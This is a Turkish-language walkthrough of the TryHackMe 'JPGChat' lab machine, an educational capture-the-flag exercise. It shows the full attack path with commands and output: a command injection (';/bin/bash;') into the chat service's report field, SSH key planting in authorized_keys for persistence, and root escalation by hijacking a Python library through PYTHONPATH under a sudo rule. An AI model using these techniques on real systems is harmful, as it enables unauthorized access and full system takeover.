TryHackMe – JPGChat Makine Çözümü

Table of Contents

Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “JPGChat” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…

Çözüm

1 — Makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi edinmek için Nmap aracını kullanıyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# nmap -sS -sV 10.10.83.119    
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-18 16:18 EDT
Nmap scan report for 10.10.83.119
Host is up (0.076s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
3000/tcp open  ppp?

2 — Netcat aracını kullanarak 3000 numaralı porta bağlandığımda bir uygulama ile karşılaşıyorum. Bu uygulama GitHub’da “JPGChat” adında bir repo olarak bulunmaktadır. Repo üzerindeki kodları inceliyorum. Kodlarda bir filtrenin aşılabileceği fark ettim ve ‘/bin/bash;’ ifadesini kullanarak bir shell elde ediyorum. Bu sayede ilk bayrağı başarılı bir şekilde elde ediyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc 10.10.83.119 3000     
Welcome to JPChat
the source code of this service can be found at our admin's github
MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
[REPORT]
this report will be read by Mozzie-jpg
your name:
;/bin/bash;
your report:
';/bin/bash;'

whoami
wes
pwd
/
cd home
ls
wes
cd wes
ls
user.txt
cat user.txt
*CENSORED*

3 — Sızma testi sürecinde kendi bilgisayarınızda bir SSH anahtarı oluşturarak bunu hedef makinenin “authorized_keys” dosyasına kopyaladığınızda, SSH bağlantısı kurarken parola sorulmayacaktır. Bu, güvenli ve daha kullanışlı bir oturum açma yöntemi sağlar.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# ssh-keygen 
*
*
┌──(root㉿kali)-[/home/kali/Downloads]
└─# cat ~/.ssh/id_rsa.pub

mkdir .ssh         
cat >> /home/wes/.ssh/authorized_keys << EOF
*
*
EOF

4 — “sudo -l” komutunu kullanarak Sudo yetkisiyle çalıştırabileceğim komutları listelediğimde, “/opt/development/test_module.py” adında bir betik görüyorum.

┌──(root㉿kali)-[/home/kali/Downloads]
└─# ssh wes@10.10.83.119
*
*
$ ls
user.txt
$ sudo -l
Matching Defaults entries for wes on ubuntu-xenial:
    mail_badpass, env_keep+=PYTHONPATH

User wes may run the following commands on ubuntu-xenial:
    (root) SETENV: NOPASSWD: /usr/bin/python3 /opt/development/test_module.py

5 — Kodu incelediğimde “compare” adında bir kütüphaneyi kullandığını görüyorum.

$ cat /opt/development/test_module.py
#!/usr/bin/env python3

from compare import *

print(compare.Str('hello', 'hello', 'hello'))
$ find / -type f -name "compare.py" 2>/dev/null
/usr/lib/python3.5/compare.py

6 — /tmp dizininde compare isminde bir python dosyası açıp içine bir bash shelli oluşturma kodu yazıyorum. Böylece sudo yetkisi ile çalıştırdığım zaman root yetkisinde bir shell elde edeceğim. Kodu yazdıktan sonra sırada “Python Library Injection” yöntemini uyguluyorum. /tmp dizinini PYTHONPATH birimine ekledikten sonra kod çalıştırıldığı zaman “compare” kütüphanesini /tmp dizininde arayacak.

$ SHELL=/bin/bash script -q /dev/null
wes@ubuntu-xenial:/home$ cd /tmp
wes@ubuntu-xenial:/tmp$ cat > compare.py << EOF
> import os
> os.system("/bin/bash")
> EOF
wes@ubuntu-xenial:/tmp$ chmod +x compare.py
wes@ubuntu-xenial:/tmp$ export PYTHONPATH=/tmp:$PYTHONPATH

7 — Root yetkisi ile shell elde ettikten sonra ikinci bayrağı da elde ediyorum.

wes@ubuntu-xenial:/tmp$ sudo /usr/bin/python3 /opt/development/test_module.py
root@ubuntu-xenial:/tmp# cat /root/root.txt
*CENSORED*